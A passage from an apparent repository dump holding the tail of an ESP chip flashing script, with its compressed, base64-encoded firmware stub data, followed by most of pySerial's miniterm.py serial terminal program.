yeybv4QFwvIhsU02myaWAkSQ9WTiFicqhZuCOwZZ3ggsC9fsVlf3jojIuT3QDSTmHxIepVUCc/VZn6uiOMpXSdYwqohq7mf7gj1\\\n0cbLfZ+NFATZ8u7eQOxVr4C0snKqAI+bpbf420T2YWhZG07VdJhzD7qjGktDR8xny5wuZO3Cn/6GCwcRiowVZZ1uPLnYjKkV4H0RyDezpBxP5O7Y+MOSlKOVkgmbicjHUXBln+HziD03WqLdMRm8zlW7xG9tp+QV\\\nbBKn2PLPXwe5QjVfaxIGbTGdfvx7BCgGB+ciNWHc7D7fpQeumg3c2e5mh+Bgh8rwvgvqTI7yTTcSin2apcT4uZgseFYRh7qNseJtucTWLNk+eNpggjoSQcGqeI9WX3JL33h0N5VpVL1mncW1EH1B3NPraXMU4aXN\\\nP769KhdwdbNW07EZT6fjcful+eVq8Y/wpWlf1uVVyXc8925uxUWeBNab5GoKJjP+yWV7Kac24P2gJiiI7sWCrYKCCOG2sMVbjvB66oIC3KXiC0ED3hwrsbBHR12pTh0Wwga9AggfuK1gRb8VxQSxIPdM+Gn5wnVd\\\nl2wkDV7/J5/EVnzExaGTePg9X9ksN6i6iTTVYeHaaVxXiK6r0/QKfIWUFpXOS/OabHFaAOfRfMc/kQ/LhXdBj6LMfifYv6fwKoAKHBxfMCqYxtLVycMgbzYoD72W4TXn0175qldaDPyPwdjhTVF0+1yornv3B3SF\\\ncvnS5p6DrFdcFa0H9fXgezooZ4PyeFDOB2UzKNtBHHZFXLYrR2GhVzO8n1r/tCIY/+/66RvK6WfS0E00dRONDcv5DeXpDWXz0fLVR0q/fKS0nIG1IiPrI+XFx3jnxt/n8m3+WTi6+ox5DyF3N0iBAeR6AMnw4nLd\\\n628tLNwOC71ue77IUVh4ERZ6C/J2IGkGcJaDsh2Um2wFl+gvyMX/binwR6XEH5Uif1TK/FEpdFP5M39adYEyz4FT5LzuasgqPP8uF/xJRMlz2iodd+1MN9n6DY3lbJqq1jb+7f8APK6wwQ==\\\n\"\"\")))\nESP32ROM.STUB_CODE = eval(zlib.decompress(base64.b64decode(b\"\"\"\n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\\\n\"\"\")))\n\n\ndef _main():\n    try:\n        main()\n    except FatalError as e:\n        print('\\nA fatal error occurred: %s' % e)\n        sys.exit(2)\n\n\nif __name__ == '__main__':\n    _main()\n"
  },
  {
    "path": "scripts/miniterm.py",
    "content": "#!/usr/bin/env python\n#\n# Very simple serial terminal\n#\n# This file is part of pySerial. https://github.com/pyserial/pyserial\n# (C)2002-2020 Chris Liechti <cliechti@gmx.net>\n#\n# SPDX-License-Identifier:    BSD-3-Clause\n\nfrom __future__ import absolute_import\n\nimport codecs\nimport os\nimport sys\nimport threading\n\nimport serial\nfrom serial.tools.list_ports import comports\nfrom serial.tools import hexlify_codec\n\n# pylint: disable=wrong-import-order,wrong-import-position\n\ncodecs.register(lambda c: hexlify_codec.getregentry() if c == 'hexlify' else None)\n\ntry:\n    raw_input\nexcept NameError:\n    # pylint: disable=redefined-builtin,invalid-name\n    raw_input = input   # in python3 it's \"raw\"\n    unichr = chr\n\n\ndef key_description(character):\n    \"\"\"generate a readable description for a key\"\"\"\n    ascii_code = ord(character)\n    if ascii_code < 32:\n        return 'Ctrl+{:c}'.format(ord('@') + ascii_code)\n    else:\n        return repr(character)\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nclass ConsoleBase(object):\n    \"\"\"OS abstraction for console (input/output codec, no echo)\"\"\"\n\n    def __init__(self):\n        if sys.version_info >= (3, 0):\n            self.byte_output = sys.stdout.buffer\n        else:\n            self.byte_output = sys.stdout\n        self.output = sys.stdout\n\n    def setup(self):\n        \"\"\"Set console to read single characters, no echo\"\"\"\n\n    def cleanup(self):\n        \"\"\"Restore default console settings\"\"\"\n\n    def getkey(self):\n        \"\"\"Read a single key from the console\"\"\"\n        return None\n\n    def write_bytes(self, byte_string):\n        \"\"\"Write bytes (already encoded)\"\"\"\n        self.byte_output.write(byte_string)\n        self.byte_output.flush()\n\n    def write(self, text):\n        \"\"\"Write string\"\"\"\n        self.output.write(text)\n        self.output.flush()\n\n    def cancel(self):\n        \"\"\"Cancel getkey operation\"\"\"\n\n    #  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -\n    # context manager:\n    # switch terminal temporary to normal mode (e.g. to get user input)\n\n    def __enter__(self):\n        self.cleanup()\n        return self\n\n    def __exit__(self, *args, **kwargs):\n        self.setup()\n\n\nif os.name == 'nt':  # noqa\n    import msvcrt\n    import ctypes\n    import platform\n\n    class Out(object):\n        \"\"\"file-like wrapper that uses os.write\"\"\"\n\n        def __init__(self, fd):\n            self.fd = fd\n\n        def flush(self):\n            pass\n\n        def write(self, s):\n            os.write(self.fd, s)\n\n    class Console(ConsoleBase):\n        fncodes = {\n            ';': '\\x1bOP',  # F1\n            '<': '\\x1bOQ',  # F2\n            '=': '\\x1bOR',  # F3\n            '>': '\\x1bOS',  # F4\n            '?': '\\x1b[15~',  # F5\n            '@': '\\x1b[17~',  # F6\n            'A': '\\x1b[18~',  # F7\n            'B': '\\x1b[19~',  # F8\n            'C': '\\x1b[20~',  # F9\n            'D': '\\x1b[21~',  # F10\n        }\n        navcodes = {\n            'H': '\\x1b[A',  # UP\n            'P': '\\x1b[B',  # DOWN\n            'K': '\\x1b[D',  # LEFT\n            'M': '\\x1b[C',  # RIGHT\n            'G': '\\x1b[H',  # HOME\n            'O': '\\x1b[F',  # END\n            'R': '\\x1b[2~',  # INSERT\n            'S': '\\x1b[3~',  # DELETE\n            'I': '\\x1b[5~',  # PGUP\n            'Q': '\\x1b[6~',  # PGDN        \n        }\n        \n        def __init__(self):\n            super(Console, self).__init__()\n            self._saved_ocp = ctypes.windll.kernel32.GetConsoleOutputCP()\n            self._saved_icp = ctypes.windll.kernel32.GetConsoleCP()\n            ctypes.windll.kernel32.SetConsoleOutputCP(65001)\n            ctypes.windll.kernel32.SetConsoleCP(65001)\n            # ANSI handling available through SetConsoleMode since Windows 10 v1511 \n            # https://en.wikipedia.org/wiki/ANSI_escape_code#cite_note-win10th2-1\n            if platform.release() == '10' and int(platform.version().split('.')[2]) > 10586:\n                ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004\n                import ctypes.wintypes as wintypes\n                if not hasattr(wintypes, 'LPDWORD'): # PY2\n                    wintypes.LPDWORD = ctypes.POINTER(wintypes.DWORD)\n                SetConsoleMode = ctypes.windll.kernel32.SetConsoleMode\n                GetConsoleMode = ctypes.windll.kernel32.GetConsoleMode\n                GetStdHandle = ctypes.windll.kernel32.GetStdHandle\n                mode = wintypes.DWORD()\n                GetConsoleMode(GetStdHandle(-11), ctypes.byref(mode))\n                if (mode.value & ENABLE_VIRTUAL_TERMINAL_PROCESSING) == 0:\n                    SetConsoleMode(GetStdHandle(-11), mode.value | ENABLE_VIRTUAL_TERMINAL_PROCESSING)\n                    self._saved_cm = mode\n            self.output = codecs.getwriter('UTF-8')(Out(sys.stdout.fileno()), 'replace')\n            # the change of the code page is not propagated to Python, manually fix it\n            sys.stderr = codecs.getwriter('UTF-8')(Out(sys.stderr.fileno()), 'replace')\n            sys.stdout = self.output\n            self.output.encoding = 'UTF-8'  # needed for input\n\n        def __del__(self):\n            ctypes.windll.kernel32.SetConsoleOutputCP(self._saved_ocp)\n            ctypes.windll.kernel32.SetConsoleCP(self._saved_icp)\n            try:\n                ctypes.windll.kernel32.SetConsoleMode(ctypes.windll.kernel32.GetStdHandle(-11), self._saved_cm)\n            except AttributeError: # in case no _saved_cm\n                pass\n\n        def getkey(self):\n            while True:\n                z = msvcrt.getwch()\n                if z == unichr(13):\n                    return unichr(10)\n                elif z is unichr(0) or z is unichr(0xe0):\n                    try:\n                        code = msvcrt.getwch()\n                        if z is unichr(0):\n                            return self.fncodes[code]\n                        else:\n                            return self.navcodes[code]\n                    except KeyError:\n                        pass\n                else:\n                    return z\n\n        def cancel(self):\n            # CancelIo, CancelSynchronousIo do not seem to work when using\n            # getwch, so instead, send a key to the window with the console\n            hwnd = ctypes.windll.kernel32.GetConsoleWindow()\n            ctypes.windll.user32.PostMessageA(hwnd, 0x100, 0x0d, 0)\n\nelif os.name == 'posix':\n    import atexit\n    import termios\n    import fcntl\n\n    class Console(ConsoleBase):\n        def __init__(self):\n            super(Console, self).__init__()\n            self.fd = sys.stdin.fileno()\n            self.old = termios.tcgetattr(self.fd)\n            atexit.register(self.cleanup)\n            if sys.version_info < (3, 0):\n                self.enc_stdin = codecs.getreader(sys.stdin.encoding)(sys.stdin)\n            else:\n                self.enc_stdin = sys.stdin\n\n        def setup(self):\n            new = termios.tcgetattr(self.fd)\n            new[3] = new[3] & ~termios.ICANON & ~termios.ECHO & ~termios.ISIG\n            new[6][termios.VMIN] = 1\n            new[6][termios.VTIME] = 0\n            termios.tcsetattr(self.fd, termios.TCSANOW, new)\n\n        def getkey(self):\n            c = self.enc_stdin.read(1)\n            if c == unichr(0x7f):\n                c = unichr(8)    # map the BS key (which yields DEL) to backspace\n            return c\n\n        def cancel(self):\n            fcntl.ioctl(self.fd, termios.TIOCSTI, b'\\0')\n\n        def cleanup(self):\n            termios.tcsetattr(self.fd, termios.TCSAFLUSH, self.old)\n\nelse:\n    raise NotImplementedError(\n        'Sorry no implementation for your platform ({}) available.'.format(sys.platform))\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nclass Transform(object):\n    \"\"\"do-nothing: forward all data unchanged\"\"\"\n    def rx(self, text):\n        \"\"\"text received from serial port\"\"\"\n        return text\n\n    def tx(self, text):\n        \"\"\"text to be sent to serial port\"\"\"\n        return text\n\n    def echo(self, text):\n        \"\"\"text to be sent but displayed on console\"\"\"\n        return text\n\n\nclass CRLF(Transform):\n    \"\"\"ENTER sends CR+LF\"\"\"\n\n    def tx(self, text):\n        return text.replace('\\n', '\\r\\n')\n\n\nclass CR(Transform):\n    \"\"\"ENTER sends CR\"\"\"\n\n    def rx(self, text):\n        return text.replace('\\r', '\\n')\n\n    def tx(self, text):\n        return text.replace('\\n', '\\r')\n\n\nclass LF(Transform):\n    \"\"\"ENTER sends LF\"\"\"\n\n\nclass NoTerminal(Transform):\n    \"\"\"remove typical terminal control codes from input\"\"\"\n\n    REPLACEMENT_MAP = dict((x, 0x2400 + x) for x in range(32) if unichr(x) not in '\\r\\n\\b\\t')\n    REPLACEMENT_MAP.update(\n        {\n            0x7F: 0x2421,  # DEL\n            0x9B: 0x2425,  # CSI\n        })\n\n    def rx(self, text):\n        return text.translate(self.REPLACEMENT_MAP)\n\n    echo = rx\n\n\nclass NoControls(NoTerminal):\n    \"\"\"Remove all control codes, incl. CR+LF\"\"\"\n\n    REPLACEMENT_MAP = dict((x, 0x2400 + x) for x in range(32))\n    REPLACEMENT_MAP.update(\n        {\n            0x20: 0x2423,  # visual space\n            0x7F: 0x2421,  # DEL\n            0x9B: 0x2425,  # CSI\n        })\n\n\nclass Printable(Transform):\n    \"\"\"Show decimal code for all non-ASCII characters and replace most control codes\"\"\"\n\n    def rx(self, text):\n        r = []\n        for c in text:\n            if ' ' <= c < '\\x7f' or c in '\\r\\n\\b\\t':\n                r.append(c)\n            elif c < ' ':\n                r.append(unichr(0x2400 + ord(c)))\n            else:\n                r.extend(unichr(0x2080 + ord(d) - 48) for d in '{:d}'.format(ord(c)))\n                r.append(' ')\n        return ''.join(r)\n\n    echo = rx\n\n\nclass Colorize(Transform):\n    \"\"\"Apply different colors for received and echo\"\"\"\n\n    def __init__(self):\n        # XXX make it configurable, use colorama?\n        self.input_color = '\\x1b[37m'\n        self.echo_color = '\\x1b[31m'\n\n    def rx(self, text):\n        return self.input_color + text\n\n    def echo(self, text):\n        return self.echo_color + text\n\n\nclass DebugIO(Transform):\n    \"\"\"Print what is sent and received\"\"\"\n\n    def rx(self, text):\n        sys.stderr.write(' [RX:{!r}] '.format(text))\n        sys.stderr.flush()\n        return text\n\n    def tx(self, text):\n        sys.stderr.write(' [TX:{!r}] '.format(text))\n        sys.stderr.flush()\n        return text\n\n\n# other ideas:\n# - add date/time for each newline\n# - insert newline after: a) timeout b) packet end character\n\nEOL_TRANSFORMATIONS = {\n    'crlf': CRLF,\n    'cr': CR,\n    'lf': LF,\n}\n\nTRANSFORMATIONS = {\n    'direct': Transform,    # no transformation\n    'default': NoTerminal,\n    'nocontrol': NoControls,\n    'printable': Printable,\n    'colorize': Colorize,\n    'debug': DebugIO,\n}\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\ndef ask_for_port():\n    \"\"\"\\\n    Show a list of ports and ask the user for a choice. To make selection\n    easier on systems with long device names, also allow the input of an\n    index.\n    \"\"\"\n    sys.stderr.write('\\n--- Available ports:\\n')\n    ports = []\n    for n, (port, desc, hwid) in enumerate(sorted(comports()), 1):\n        sys.stderr.write('--- {:2}: {:20} {!r}\\n'.format(n, port, desc))\n        ports.append(port)\n    while True:\n        port = raw_input('--- Enter port index or full name: ')\n        try:\n            index = int(port) - 1\n            if not 0 <= index < len(ports):\n                sys.stderr.write('--- Invalid index!\\n')\n                continue\n        except ValueError:\n            pass\n        else:\n            port = ports[index]\n        return port\n\n\nclass Miniterm(object):\n    \"\"\"\\\n    Terminal application. Copy data from serial port to console and vice versa.\n    Handle special keys from the console to show menu etc.\n    \"\"\"\n\n    def __init__(self, serial_instance, echo=False, eol='crlf', filters=()):\n        self.console = Console()\n        self.serial = serial_instance\n        self.echo = echo\n        self.raw = False\n        self.input_encoding = 'UTF-8'\n        self.output_encoding = 'UTF-8'\n        self.eol = eol\n        self.filters = filters\n        self.update_transformations()\n        self.exit_character = unichr(0x1d)  # GS/CTRL+]\n        self.menu_character = unichr(0x14)  # Menu: CTRL+T\n        self.alive = None\n        self._reader_alive = None\n        self.receiver_thread = None\n        self.rx_decoder = None\n        self.tx_decoder = None\n\n    def _start_reader(self):\n        \"\"\"Start reader thread\"\"\"\n        self._reader_alive = True\n        # start serial->console thread\n        self.receiver_thread = threading.Thread(target=self.reader, name='rx')\n        self.receiver_thread.daemon = True\n        self.receiver_thread.start()\n\n    def _stop_reader(self):\n        \"\"\"Stop reader thread only, wait for clean exit of thread\"\"\"\n        self._reader_alive = False\n        if hasattr(self.serial, 'cancel_read'):\n            self.serial.cancel_read()\n        self.receiver_thread.join()\n\n    def start(self):\n        \"\"\"start worker threads\"\"\"\n        self.alive = True\n        self._start_reader()\n        # enter console->serial loop\n        self.transmitter_thread = threading.Thread(target=self.writer, name='tx')\n        self.transmitter_thread.daemon = True\n        self.transmitter_thread.start()\n        self.console.setup()\n\n    def stop(self):\n        \"\"\"set flag to stop worker threads\"\"\"\n        self.alive = False\n\n    def join(self, transmit_only=False):\n        \"\"\"wait for worker threads to terminate\"\"\"\n        self.transmitter_thread.join()\n        if not transmit_only:\n            if hasattr(self.serial, 'cancel_read'):\n                self.serial.cancel_read()\n            self.receiver_thread.join()\n\n    def close(self):\n        self.serial.close()\n\n    def update_transformations(self):\n        \"\"\"take list of transformation classes and instantiate them for rx and tx\"\"\"\n        transformations = [EOL_TRANSFORMATIONS[self.eol]] + [TRANSFORMATIONS[f]\n                                                             for f in self.filters]\n        self.tx_transformations = [t() for t in transformations]\n        self.rx_transformations = list(reversed(self.tx_transformations))\n\n    def set_rx_encoding(self, encoding, errors='replace'):\n        \"\"\"set encoding for received data\"\"\"\n        self.input_encoding = encoding\n        self.rx_decoder = codecs.getincrementaldecoder(encoding)(errors)\n\n    def set_tx_encoding(self, encoding, errors='replace'):\n        \"\"\"set encoding for transmitted data\"\"\"\n        self.output_encoding = encoding\n        self.tx_encoder = codecs.getincrementalencoder(encoding)(errors)\n\n    def dump_port_settings(self):\n        \"\"\"Write current settings to sys.stderr\"\"\"\n        sys.stderr.write(\"\\n--- Settings: {p.name}  {p.baudrate},{p.bytesize},{p.parity},{p.stopbits}\\n\".format(\n            p=self.serial))\n        sys.stderr.write('--- RTS: {:8}  DTR: {:8}  BREAK: {:8}\\n'.format(\n            ('active' if self.serial.rts else 'inactive'),\n            ('active' if self.serial.dtr else 'inactive'),\n            ('active' if self.serial.break_condition else 'inactive')))\n        try:\n            sys.stderr.write('--- CTS: {:8}  DSR: {:8}  RI: {:8}  CD: {:8}\\n'.format(\n                ('active' if self.serial.cts else 'inactive'),\n                ('active' if self.serial.dsr else 'inactive'),\n                ('active' if self.serial.ri else 'inactive'),\n                ('active' if self.serial.cd else 'inactive')))\n        except serial.SerialException:\n            # on RFC 2217 ports, it can happen if no modem state notification was\n            # yet received. ignore this error.\n            pass\n        sys.stderr.write('--- software flow control: {}\\n'.format('active' if self.serial.xonxoff else 'inactive'))\n        sys.stderr.write('--- hardware flow control: {}\\n'.format('active' if self.serial.rtscts else 'inactive'))\n        sys.stderr.write('--- serial input encoding: {}\\n'.format(self.input_encoding))\n        sys.stderr.write('--- serial output encoding: {}\\n'.format(self.output_encoding))\n        sys.stderr.write('--- EOL: {}\\n'.format(self.eol.upper()))\n        sys.stderr.write('--- filters: {}\\n'.format(' '.join(self.filters)))\n\n    def reader(self):\n        \"\"\"loop and copy serial->console\"\"\"\n        try:\n            while self.alive and self._reader_alive:\n                # read all that is there or wait for one byte\n                data = self.serial.read(self.serial.in_waiting or 1)\n                if data:\n                    if self.raw:\n                        self.console.write_bytes(data)\n                    else:\n                        text = self.rx_decoder.decode(data)\n                        for transformation in self.rx_transformations:\n                            text = transformation.rx(text)\n                        self.console.write(text)\n        except serial.SerialException:\n            self.alive = False\n            self.console.cancel()\n            raise       # XXX handle instead of re-raise?\n\n    def writer(self):\n        \"\"\"\\\n        Loop and copy console->serial until self.exit_character character is\n        found. When self.menu_character is found, interpret the next key\n        locally.\n        \"\"\"\n        menu_active = False\n        try:\n            while self.alive:\n                try:\n                    c = self.console.getkey()\n                except KeyboardInterrupt:\n                    c = '\\x03'\n                if not self.alive:\n                    break\n                if menu_active:\n                    self.handle_menu_key(c)\n                    menu_active = False\n                elif c == self.menu_character:\n                    menu_active = True      # next char will be for menu\n                elif c == self.exit_character:\n                    self.stop()             # exit app\n                    break\n                else:\n                    #~ if self.raw:\n                    text = c\n                    for transformation in self.tx_transformations:\n                        text = transformation.tx(text)\n                    self.serial.write(self.tx_encoder.encode(text))\n                    if self.echo:\n                        echo_text = c\n                        for transformation in self.tx_transformations:\n                            echo_text = transformation.echo(echo_text)\n                        self.console.write(echo_text)\n        except:\n            self.alive = False\n            raise\n\n    def handle_menu_key(self, c):\n        \"\"\"Implement a simple menu / settings\"\"\"\n        if c == self.menu_character or c == self.exit_character:\n            # Menu/exit character again -> send itself\n            self.serial.write(self.tx_encoder.encode(c))\n            if self.echo:\n                self.console.write(c)\n        elif c == '\\x15':                       # CTRL+U -> upload file\n            self.upload_file()\n        elif c in '\\x08hH?':                    # CTRL+H, h, H, ? -> Show help\n            sys.stderr.write(self.get_help_text())\n        elif c == '\\x12':                       # CTRL+R -> Toggle RTS\n            self.serial.rts = not self.serial.rts\n            sys.stderr.write('--- RTS {} ---\\n'.format('active' if self.serial.rts else 'inactive'))\n        elif c == '\\x04':                       # CTRL+D -> Toggle DTR\n            self.serial.dtr = not self.serial.dtr\n            sys.stderr.write('--- DTR {} ---\\n'.format('active' if self.serial.dtr else 'inactive'))\n        elif c == '\\x02':                       # CTRL+B -> toggle BREAK condition\n            self.serial.break_condition = not self.serial.break_condition\n            sys.stderr.write('--- BREAK {} ---\\n'.format('active' if self.serial.break_condition else 'inactive'))\n        elif c == '\\x05':                       # CTRL+E -> toggle local echo\n            self.echo = not self.echo\n            sys.stderr.write('--- local echo {} ---\\n'.format('active' if self.echo else 'inactive'))\n        elif c == '\\x06':                       # CTRL+F -> edit filters\n            self.change_filter()\n        elif c == '\\x0c':                       # CTRL+L -> EOL mode\n            modes = list(EOL_TRANSFORMATIONS)   # keys\n            eol = modes.index(self.eol) + 1\n            if eol >= len(modes):\n                eol = 0\n            self.eol = modes[eol]\n            sys.stderr.write('--- EOL: {} ---\\n'.format(self.eol.upper()))\n            self.update_transformations()\n        elif c == '\\x01':                       # CTRL+A -> set encoding\n            self.change_encoding()\n        elif c == '\\x09':                       # CTRL+I -> info\n            self.dump_port_settings()\n        #~ elif c == '\\x01':                       # CTRL+A -> cycle escape mode\n        #~ elif c == '\\x0c':                       # CTRL+L -> cycle linefeed mode\n        elif c in 'pP':                         # P -> change port\n            self.change_port()\n        elif c in 'zZ':                         # S -> suspend / open port temporarily\n            self.suspend_port()\n        elif c in 'bB':                         # B -> change baudrate\n            self.change_baudrate()\n        elif c == '8':                          # 8 -> change to 8 bits\n            self.serial.bytesize = serial.EIGHTBITS\n            self.dump_port_settings()\n        elif c == 